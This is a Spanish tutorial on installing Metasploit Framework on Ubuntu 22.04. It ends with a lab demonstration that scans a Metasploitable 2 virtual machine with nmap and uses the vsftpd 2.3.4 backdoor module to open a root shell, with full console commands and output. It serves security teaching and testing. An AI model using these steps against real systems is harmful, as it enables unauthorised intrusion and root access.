Cómo instalar Metasploit Framework en Ubuntu 22.04

Como administrador de red, es importante buscar vulnerabilidades de seguridad y parchearlas lo antes posible. Metasploit es un marco de trabajo de código abierto que ayuda a identificar amenazas y vulnerabilidades. Encuentra y explota vulnerabilidades en sistemas informáticos, redes y aplicaciones. Permite a los profesionales de la seguridad simular ataques del mundo real y poner a prueba la postura de seguridad de tu organización. Viene con muchos exploits y también te permite crear los tuyos propios.

En este tutorial, aprenderás a instalar el framework Metasploit y a realizar pruebas básicas en un sistema Ubuntu 22.04.

Requisitos previos

  • Una máquina que ejecute Ubuntu 22.04 con un mínimo de 4 GB de RAM.
  • Un usuario no root con privilegios sudo.
  • El cortafuegos sin complicaciones (UFW) está activado y en ejecución.
  • Todo está actualizado.
    $ sudo apt update && sudo apt upgrade
    
  • Pocos paquetes que necesite tu sistema.
    $ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
    

    Puede que algunos de estos paquetes ya estén instalados en tu sistema.

Paso 1 – Instalar Nmap

Una de las herramientas más comunes que requiere Metasploit es Nmap, que desgraciadamente no se incluye con el código fuente. Podemos instalarlo utilizando su código fuente o podemos instalar el binario, que es una versión bastante actualizada disponible. Utilizaremos el repositorio de paquetes de Ubuntu para instalar el binario de Nmap.

$ sudo apt install -y nmap

Te mostraremos tres formas de instalar Metasploit. La primera forma es utilizar el script shell del instalador Nightly. La segunda forma es instalarlo compilando el código fuente. La tercera forma es coger directamente el paquete Deb y utilizarlo para instalar Metasploit. Sea cual sea el método que utilices, primero tendrás que instalar Nmap, ya que no se incluye con Metapsploit.

Paso 2 – Instala Metasploit con el Instalador Nocturno

Instalar Metasploit es bastante fácil utilizando el script instalador Nightly. Viene con Ruby y PostgreSQL 9.2 y se integra con el gestor de paquetes APT.

Crea un directorio temporal para descargar el script instalador de Metasploit y pasa a él.

$ mkdir msf-install && cd ./msf-install

Descarga el script instalador y cambia el nombre del archivo a msfinstall.

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Establece el permiso 755 en el script.

$ chmod 755 msfinstall

Ejecuta el script.

$ sudo ./msfinstall

El script importará primero la clave de firma de los servidores de Metasploit, luego copiará la dirección del repositorio de Metasploit en el directorio /etc/apt/sources.list.d/ y, por último, descargará e instalará el paquete de Metasploit mediante APT y establecerá la variable PATH para él.

Ejecuta el script de consola de Metasploit para empezar.

$ cd ~
$ msfconsole

La primera vez que utilices el script, se iniciará el asistente de instalación y te preguntará si quieres crear una nueva base de datos.

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

Escribe y y pulsa la tecla Intro para continuar. Esto creará una base de datos y almacenará sus datos en el directorio ~/.msf4/db.

Running the 'init' command for the database:
Creating database at /home/navjot/.msf4/db
Creating db socket file at /tmp
Starting database at /home/navjot/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf
Stopping database at /home/navjot/.msf4/db
Starting database at /home/navjot/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

 ** Metasploit Framework Initial Setup Complete **

A continuación, accederás a la consola de Metasploit, que debería tener un aspecto similar al siguiente.

Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.4.1-dev-                          ]
+ -- --=[ 2405 exploits - 1239 auxiliary - 422 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Consola del instalador de Metasploit Nightly

Comprueba el estado de la base de datos.

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Esto confirma que está correctamente conectada a la base de datos PostgreSQL y que funciona correctamente.

Sal de la consola.

msf6 > exit

Paso 3 – Instalar Metasploit utilizando el código fuente

Instala los prerrequisitos

Instala los paquetes requeridos por Metasploit.

$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev

Instala Git. Puede que ya esté disponible en tu servidor.

$ sudo apt install -y git

Instalar PostgreSQL

Instala PostgreSQL. Ubuntu 22.04 incluye PostgreSQL 14 por defecto, que es el que utilizaremos.

$ sudo apt install -y postgresql postgresql-contrib

Comprueba el estado del servicio PostgreSQL.

$ sudo systemctl status postgresql

Deberías ver la siguiente salida confirmando que PostgreSQL se está ejecutando.

? postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
     Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
    Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 5984 (code=exited, status=0/SUCCESS)
        CPU: 1ms

Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.

Configura PostgreSQL

Cambia al usuario PostgreSQL.

$ sudo -i -u postgres

Crea un rol PostgreSQL para Metasploit. Se te pedirá que establezcas una contraseña.

$ createuser msfuser -S -R -P

Crea una base de datos PostgreSQL para Metasploit y establece como propietario al usuario que hemos creado.

$ createdb msfdb -O msfuser

Sal de la cuenta PostgreSQL.

$ exit

Abre el archivo /etc/postgresql/14/main/pg_hba.conf para editarlo.

$ sudo nano /etc/postgresql/14/main/pg_hba.conf

Añádele la siguiente línea debajo de la línea host all all 127.0.0.1/32 scram-sha-256.

....
host    all             all             127.0.0.1/32            scram-sha-256
host    "msfdb"         "msfuser"       127.0.0.1/32            md5

Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.

Instala el Gestor de Versiones de Ruby (RVM)

Metasploit requiere Ruby para la instalación. Utilizaremos Ruby Version Manager (RVM) para instalar Ruby y Gems.

Importa la clave GPG de RVM.

$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB

Utiliza curl para descargar el script de instalación de RVM.

$ \curl -sSL https://get.rvm.io -o rvm.sh

Instala la versión estable de RVM.

$ cat rvm.sh | bash -s stable

Obtén los scripts de RVM del directorio donde se instalaron.

$ source ~/.rvm/scripts/rvm

Descarga Metasploit

Cambia al directorio de inicio.

$ cd ~

Descarga el código fuente de Metasploit desde GitHub.

$ git clone https://github.com/rapid7/metasploit-framework.git

Cambia al directorio de Metasploit.

$ cd metasploit-framework

Verás las siguientes instrucciones al cambiar al directorio.

Required ruby-3.0.5 is not installed.
To install do: 'rvm install "ruby-3.0.5"'

En ellas se menciona que la versión de Ruby requerida por el framework de Metasploit es la 3.0.5. También puedes confirmarlo ejecutando el siguiente comando.

$ cat .ruby-version
3.0.5

Instalar Ruby

Esta es la parte en la que la cosa se complica. Ubuntu 22.04 es compatible con OpenSSL 3, mientras que Ruby 3.0.x sólo funciona con OpenSSL 1.1. Esto significa que no podemos instalarlo de la forma habitual. La mejor solución es descargar el código fuente de OpenSSL 1.1, compilarlo y utilizarlo para instalar Ruby. Esto no afectará a ninguna otra aplicación de tu servidor.

Consigue OpenSSL 1.1. Puedes consultar la última versión disponible en la página de fuentes de OpenSSL 1.1.

$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz

Extrae el archivo descargado.

$ tar zxf openssl-1.1.1w.tar.gz

Cambia al directorio extraído.

$ cd openssl-1.1.1w

Configura el código fuente.

$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w

Ejecuta el comando make.

$ make

Ejecuta de nuevo el comando make para realizar pruebas.

$ make tests

Instala OpenSSL 1.1.1w.

$ make install

Configura el directorio de certificados SSL para que apunte al directorio /etc/ssl/certs y elimina el original.

$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs

Vuelve al directorio Metasploit.

$ cd ~/metasploit-framework

Instala Ruby.

$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w
Checking requirements for ubuntu.
Installing requirements for ubuntu.
Updating system
Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3.....
........................
Install of ruby-3.0.5 - #complete 
Ruby was built without documentation, to build it run: rvm docs generate-ri

Instala Metasploit

Cambia al directorio Metasploit.

$ cd ~/metasploit-framework

Instala la Gema bundler.

$ gem install bundler

Instala las Gemas Ruby necesarias.

$ bundle install

Inicia la consola de Metasploit.

$ ./msfconsole

Deberías ver una salida similar.

Metasploit tip: You can use help to view all available commands
                                                  
 __________________ 
< Shells are cool. >
 ------------------ 
   \                                      
    \                                     
     \                                    
      \                                   
       \ ?????????                        
        ???????????                       
       ????????????                       
      ???????????????                     
     ??????????????????                   
   ?????????????????????                  
  ???????????????????????                 
  ???????????????????????                 
   ?????????????????????                  
????????????????????????      ??????      
 ??????????????????????     ????????????  
    ??????????????????     ?????????????? 
      ????????????????????????????????????
            ???????????????????   ????????
            ???????????????????   ?????? ?
             ??????????????????  ?? ????  
               ????????????????     ???   
               ??????  ?????????   ?      
              ???????   ????????          
              ???????   ?????????         
            ?????????   ?????????         
            ?????????   ??????????        
             ???????       ???????        
                                          


       =[ metasploit v6.4.2-dev-44ba1b5082                ]
+ -- --=[ 2408 exploits - 1240 auxiliary - 422 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Salida de la consola de Metasploit

Prueba la conexión a la base de datos.

msf6 > db_status
[*] postgresql selected, no connection

Conéctate a la base de datos que hemos creado antes.

msf6 > db_connect msfuser:[email protected]:5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb

Comprueba el estado de la base de datos.

msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.

Sal de la consola.

msf6 > exit

Configurar los ajustes de la base de datos de Metasploit

La conexión a la base de datos no persistirá durante el uso repetido de la consola de Metasploit. Para hacerla permanente, necesitamos guardarla en un archivo del directorio ~/.msf4.

Crea un archivo database.yml en el directorio ~/.msf4/.

$ touch ~/.msf4/database.yml

Ábrelo para editarlo.

$ nano ~/.msf4/database.yml

Pega en él el siguiente código.

production:
  adapter: postgresql
  database: msfdb
  username: msfuser
  password: [PASSWORD]
  host: 127.0.0.1
  port: 5432
  pool: 75
  timeout: 5

Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.

Inicia de nuevo la consola.

$ ./msfconsole

Comprueba el estado de la conexión a la base de datos.

msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql.

Esto confirma que Metasploit se ha conectado correctamente a la base de datos PostgreSQL.

Paso 4 – Instalar Metasploit utilizando el paquete Binario

Visita la página del repositorio APT de Metasploit y coge la URL del último paquete deb de Metasploit de la parte inferior de la página. En el momento de escribir este artículo, la última versión disponible era la 6.4.1+20240326102606.

Descarga el paquete utilizando el comando wget.

$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb

Instala el paquete.

$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb

Continúa la instalación ejecutando el comando de la consola de Metasploit.

$ msfconsole

Continúa del mismo modo que en el paso 1 para terminar de instalar Metasploit.

Paso 5 – Prueba Metasploit

El banner superior que aparece al iniciar la consola de Metasploit puede resultar molesto, por lo que puedes desactivarlo utilizando la opción -q.

$ msfconsole -q

De esta forma accederás directamente a la consola.

msf6 >

Para listar todos los comandos disponibles, ejecuta help en la consola.

msf6 > help

Obtendrás la siguiente salida.

Core Commands
=============

    Command           Description
    -------           -----------
    ?                 Help menu
    banner            Display an awesome metasploit banner
    cd                Change the current working directory
    color             Toggle color
    connect           Communicate with a host
    debug             Display information useful for debugging
    exit              Exit the console
    features          Display the list of not yet released features that can be opted in to
    get               Gets the value of a context-specific variable
    getg              Gets the value of a global variable
    grep              Grep the output of another command
    help              Help menu
    history           Show command history
    load              Load a framework plugin
    quit              Exit the console
    repeat            Repeat a list of commands
    route             Route traffic through a session
    save              Saves the active datastores
    sessions          Dump session listings and display information about sessions
    set               Sets a context-specific variable to a value
    setg              Sets a global variable to a value
    sleep             Do nothing for the specified number of seconds
    spool             Write console output into a file as well the screen
    threads           View and manipulate background threads
    tips              Show a list of useful productivity tips
    unload            Unload a framework plugin
    unset             Unsets one or more context-specific variables
    unsetg            Unsets one or more global variables
    version           Show the framework and console library version numbers
.........................................................................

Para listar todos los exploits disponibles, ejecuta el siguiente comando.

msf6 > show exploits

Deberías obtener una salida similar.

Metasploit Mostrar Salida de Exploits

Metasploit también proporciona documentación específica de la herramienta a través del siguiente comando. Puedes utilizarlo para saber más sobre cómo funciona un determinado exploit. Vamos a inspeccionar cómo funciona el exploit xorg_x11_server.

msf6 > info xorg_x11_server

Obtendrás la siguiente salida.

msf6 > info exploit/aix/local/xorg_x11_server

       Name: Xorg X11 Server Local Privilege Escalation
     Module: exploit/aix/local/xorg_x11_server
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-10-25

Provided by:
  Narendra Shinde
  Zack Flack <[email protected]>

Module side effects:
 config-changes

Available targets:
      Id  Name
      --  ----
      0   IBM AIX Version 6.1
  =>  1   IBM AIX Version 7.1
      2   IBM AIX Version 7.2

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on
  WritableDir  /tmp             yes       A directory where we can write files

Payload information:

Description:
  WARNING: Successful execution of this module results in /etc/passwd being overwritten.

  This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

  A permission check flaw exists for -modulepath and -logfile options when
  starting Xorg.  This allows unprivileged users that can start the server
  the ability to elevate privileges and run arbitrary code under root
  privileges.

  This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
  Due to permission restrictions of the crontab in AIX, this module does not use cron,
  and instead overwrites /etc/passwd in order to create a new user with root privileges.
  All currently logged in users need to be included when /etc/passwd is overwritten,
  else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
  The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
  and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
  overwriting /etc/passwd.

...................................

Utilicemos Metasploit para comprobar los puertos abiertos en una máquina infectada. Para nuestro tutorial, utilizaremos la máquina virtual Metasploitable. Es una máquina de pruebas que puedes utilizar para aprender. Estamos utilizando Metasploitable 2, que viene con un disco duro VirtualBox descargable que puedes utilizar para configurar una máquina virtual, que es la que estamos utilizando para realizar nuestras pruebas. También puedes utilizar Metasploitable 3 que es una máquina VirtualBox basada en Vagrant que requerirá un tipo de instalación diferente.

Utiliza la herramienta Nmap para buscar puertos abiertos.

msf6 > nmap -sV 192.168.31.36

Deberías ver una salida similar dependiendo de la máquina que estés inspeccionando.

msf6 > nmap -sV 192.168.31.36
[*] exec: nmap -sV 192.168.31.36

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds

Ahora que tenemos una lista de puertos abiertos para explotar, vamos a utilizar uno de ellos. Utilizaremos el servicio vsftpd para explotarlo. Antes de hacerlo, vamos a buscarlo en nuestra lista de exploits para saber más sobre él.

msf6 > search vsftpd

Recibirás el siguiente resultado.

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

A continuación, podemos copiar el nombre del exploit y utilizarlo utilizando el siguiente comando. Este comando nos permite entrar en el exploit.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

Obtendrás la siguiente salida.

[*] No payload configured, defaulting to cmd/unix/interact

El prompt de la consola cambiará a lo siguiente.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

A continuación, utiliza el comando show options para comprobar los requisitos del exploit.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Obtendrás la siguiente salida.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

Aquí puedes ver la configuración actual de algunas variables. RHOSTS en la salida especifica IP de host remoto y RPORT se refiere a un puerto de host remoto. Configura la IP del host remoto para que este exploit funcione. Esto le indicará a qué máquina debe dirigirse.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36

Ahora que la IP del host remoto está configurada, podemos proceder con el hackeo. Ejecuta el comando exploit y espera a que el hackeo se lleve a cabo.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Deberías ver la siguiente salida.

[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.36:21 - USER: 331 Please specify the password.
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530

Deberías poder escribir cualquier comando y funcionará en el sistema objetivo confirmando el hackeo. Para confirmarlo, utiliza el comando ifconfig para obtener los detalles de la red.

ifconfig

Obtendrás la siguiente salida que muestra que la salida procede de la máquina objetivo, lo que significa que nuestro exploit ha funcionado.

eth0      Link encap:Ethernet  HWaddr 08:00:27:88:8d:ae
          inet addr:192.168.31.36  Bcast:192.168.31.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1671 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:145408 (142.0 KB)  TX bytes:142342 (139.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:274 errors:0 dropped:0 overruns:0 frame:0
          TX packets:274 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:109881 (107.3 KB)  TX bytes:109881 (107.3 KB)

Ésta es sólo una de las cosas que puede hacer Metasploit. Puedes hacer muchas más cosas utilizándolo para encontrar vulnerabilidades y averiguar cuáles de tus máquinas están abiertas y son vulnerables a un ataque y parchearlas.

Paso 6 – Actualiza Metasploit

Metasploit viene con su script de actualización. Si lo has instalado siguiendo los pasos 2 y 4, sólo tienes que ejecutar el siguiente comando para actualizar Metasploit.

$ sudo msfupdate

Además, los dos mismos métodos configuran el repositorio APT para que no necesites ejecutar el script. Cada vez que ejecutes sudo apt update && sudo apt upgrade, Metasploit se actualizará.

Si instalaste Metasploit desde el código fuente, tendrás que actualizarlo manualmente. Cambia al directorio del framework de Metasploit.

$ cd ~/metasploit-framework

Primero, configura algunas variables para Git. Esto es sólo un proceso de una sola vez.

$ git config --global user.name "YourName"
$ git config --global user.email "[email protected]"

Ahora, puedes ejecutar las actualizaciones utilizando el siguiente comando.

$ ./msfupdate

Para evitar ejecutar este comando una y otra vez, puedes configurar una tarea cron para que se actualice automáticamente. Ejecuta el siguiente comando para iniciar el editor Crontab.

$ crontab -e

Se te preguntará qué editor utilizar.

no crontab for navjot - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]: 1

Elige 1 si quieres utilizar el editor nano. Éste es el que utilizaremos.

A continuación, pega el siguiente código para activar las actualizaciones automáticas de Metasploit.

0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&amp;1

Esto ejecutará el script de actualización a la 1 de la madrugada todos los días. Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.

Ya está. Esto mantendrá tu Metasploit actualizado sin ninguna intervención.

Paso 7 – Desinstala Metasploit

Si instalaste Metasploit siguiendo los pasos 2 ó 4, para eliminarlo sólo tienes que ejecutar el siguiente comando.

$ sudo apt autoremove --purge metasploit-framework

Sin embargo, si lo instalaste utilizando el código fuente, entonces para eliminar Metasploit, necesitas ejecutar una serie de comandos.

$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem

Abre el archivo .bashrc para editarlo.

$ nano ~/.bashrc

Elimina la siguiente línea de la parte inferior del archivo.

# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"

Por último, elimina PostgreSQL si no lo utilizas.

Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.

Abre el .bash_profile para editarlo.

$ nano ~/,bash_profile

Elimina las siguientes líneas de la parte inferior del archivo.

[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*

Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida.

Abre el archivo .profile para editarlo.

$ nano ~/.profile

Elimina el siguiente código de la parte inferior del archivo.

# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"

[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*

Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te indique.

Abre los archivos para volver a cargar los cambios.

$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile

Elimina los directorios de Metasploit.

$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4

Desinstala PostgreSQL si ya no lo necesitas.

$ sudo apt autoremove --purge postgresql postgresql-contrib

Desinstala OpenSSL 1.1.1. Los siguientes comandos desinstalarán el paquete, limpiarán el directorio y eliminarán el archivo descargado.

$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz

Conclusión

Con esto concluye nuestro tutorial sobre la instalación del framework Metasploit en un sistema Ubuntu 22.04 y cómo realizar algunas operaciones básicas. Si tienes alguna pregunta, publícala en los comentarios a continuación.

También te podría gustar...